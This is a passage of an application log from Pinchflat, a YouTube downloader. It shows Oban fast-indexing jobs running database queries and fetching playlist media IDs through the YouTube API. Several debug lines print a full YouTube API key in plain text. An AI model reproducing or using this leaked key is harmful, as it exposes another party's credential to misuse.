17:15:22.500 [info] {"args":{"id":39},"id":5268382,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":236888,"event":"job:stop","queue_time":18037039,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.506 [info] {"args":{"id":46},"id":5268383,"meta":{},"system_time":1791584122506123087,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.506 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 17:15:22.506 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.506 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:22.506 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.506 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 17:15:22.507 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.507 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:22.593 [debug] QUERY OK source="media_items" db=0.5ms idle=86.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 17:15:22.593 [debug] QUERY OK source="media_items" db=0.1ms idle=87.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 17:15:22.594 [debug] QUERY OK source="tasks" db=0.1ms idle=87.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268422, 46, ~U[2026-10-09 22:15:22Z], ~U[2026-10-09 22:15:22Z]] 17:15:22.594 [info] {"args":{"id":46},"id":5268383,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88363,"event":"job:stop","queue_time":18177625,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.600 [info] {"args":{"id":47},"id":5268384,"meta":{},"system_time":1791584122600148010,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.600 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 17:15:22.600 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.600 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:22.600 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.600 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 17:15:22.600 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.600 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:22.738 [debug] QUERY OK source="media_items" db=0.4ms idle=137.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 17:15:22.739 [debug] QUERY OK source="media_items" db=0.3ms idle=138.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 17:15:22.740 [debug] QUERY OK source="tasks" db=0.1ms idle=21.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268423, 47, ~U[2026-10-09 22:15:22Z], ~U[2026-10-09 22:15:22Z]] 17:15:22.740 [info] {"args":{"id":47},"id":5268384,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":140238,"event":"job:stop","queue_time":17417150,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.746 [info] {"args":{"id":32},"id":5268385,"meta":{},"system_time":1791584122746101817,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.746 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:15:22.746 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.746 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:22.746 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.746 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:15:22.746 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.746 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:23.053 [debug] QUERY OK source="media_items" db=0.7ms idle=306.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 17:15:23.055 [debug] QUERY OK source="media_items" db=1.2ms idle=307.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:15:23.056 [debug] QUERY OK source="tasks" db=0.1ms idle=309.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268424, 32, ~U[2026-10-09 22:15:23Z], ~U[2026-10-09 22:15:23Z]] 17:15:23.056 [info] {"args":{"id":32},"id":5268385,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":310100,"event":"job:stop","queue_time":16518234,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:23.062 [info] {"args":{"id":24},"id":5268386,"meta":{},"system_time":1791584123062269420,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:23.062 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:15:23.062 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.062 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:23.063 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.063 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:15:23.063 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.063 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:23.280 [debug] QUERY OK source="media_items" db=0.4ms idle=217.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 17:15:23.281 [debug] QUERY OK source="media_items" db=0.2ms idle=218.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:15:23.282 [debug] QUERY OK source="tasks" db=0.1ms idle=218.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268425, 24, ~U[2026-10-09 22:15:23Z], ~U[2026-10-09 22:15:23Z]] 17:15:23.282 [info] {"args":{"id":24},"id":5268386,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":220001,"event":"job:stop","queue_time":15731712,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:23.288 [info] {"args":{"id":15},"id":5268387,"meta":{},"system_time":1791584123288187324,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:23.288 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 